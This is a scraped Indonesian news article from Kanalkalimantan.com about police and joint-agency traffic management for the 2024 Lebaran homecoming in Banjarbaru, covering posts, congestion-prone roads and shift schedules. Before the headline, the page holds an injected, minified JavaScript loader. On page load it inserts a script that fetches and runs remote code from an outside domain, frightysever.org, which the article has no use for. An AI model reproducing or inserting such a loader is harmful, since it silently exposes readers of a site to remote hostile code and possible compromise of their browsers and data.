(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Arus Mudik 2024, Ini Titik Rawan Macet di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Petugas gabungan di Ibu Kota Provinsi Kalimantan Selatan mulai dikerahkan untuk melakukan pengamanan mudik Lebaran tahun 2024.

Mulai Rabu (3/4/2024), Operasi Terpusat Ketupat Intan 2024 mulai dilaksanakan Kepolisian Resor Banjarbaru.

Ada 225 orang personel gabungan, terdiri dari Polri, TNI, Satpol PP, Dinas Perhubungan, Basarnas maupun Damkar disiapkan untuk menjaga dan melakukan pengaturan arus lalu lintas selama masa mudik.

Apel gabungan personel Polri, TNI, Satpol PP, Dinas Perhubungan, Basarnas maupun Damkar untuk Operasi Terpusat Ketupat Intan 2024, Rabu (3/4/2024). Foto: wanda

Kabag Ops Polres Banjarbaru Kompol Indra Agung Perdana Putra, mengatakan, untuk mengantisipasi kepadatan lalu lintas dibagi tiga shift untuk personel gabungan jaga pada tiga pos utama yang telah didirikan.

“Titik fokusnya pertama pos bundaran Kamaratih di depan lapangan Bandara lama, di Bandara Syamsuddin Noor sendiri, dan di bundaran Simpang Empat, pos pengamanan pelayanan dan pos terpadu,” ujar Kompol Indra Agung Perdana Putra, Rabu (3/4/2024).

Kompol Indra menyebutkan ada tiga kawasan yang menjadi titikk fokus personel gabungan dalam hal penanganan pelanggaran dan rawannya kecelakaan di ibu kota.

Tiga kawasan tersebut adalah ruas Jalan Ahmad Yani, Jalan Mistar Cokrokusumo, dan ruas Jalan Trikora.

“Dalam jangkauan tiga pos itu lah personel akan merapat ke masyarakat, dan mendekati objek jika terjadi pelanggaran maupun kecelakaan lalu lintas,” jelas dia.

Terkhusus untuk mengurai kemacetan di wilayah Kota Banjarbaru sejak hari ini hingga puncak arus balik nanti, kepolisian menrmpatkan sejumlah personel untuk berjaga selama dua shift.

“Seperti untuk pengamanan sore hari dimulai dari pukul 15.00 Wita sampai buka puasa, ada 57 orang untuk menjaga titik kemacetan,” sebutnya.

Kemudian ada juga personel yang berjaga di pukul 20.00-22.00 Wita. Di waktu tersebut dikerahkan sebanyak 48 personel khusus untuk mengurai kemacetan di titik-titik rawan.

“Titik kerawanan kemacetan u turn, depan pusat perbelanjaan, bundaran, akses masjid, jalur krusial seperti yang kerap ditempati pa ogah di jalan raya,” jelansya lagi.

Dirinya menyebutkan selain ruas Jalan Ahmad Yani, Jalan Mistar Cokrokusumo, dan ruas Jalan Trikora, titik rawan kemacetan juga ditambah di beberapa spot tertentu seperti ruas jalan di Banjarbaru yang memiliki kilometer terpisah seperti Km 20 dan Cempaka.

“Personel dua shift itu kita kerahkan di luar dari kegiatan balap liar, balap lari maupun perang sarung karena khusus mengurai kemacetan yang berlaku sampai dengan H+7 lebatan atau arus balik,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie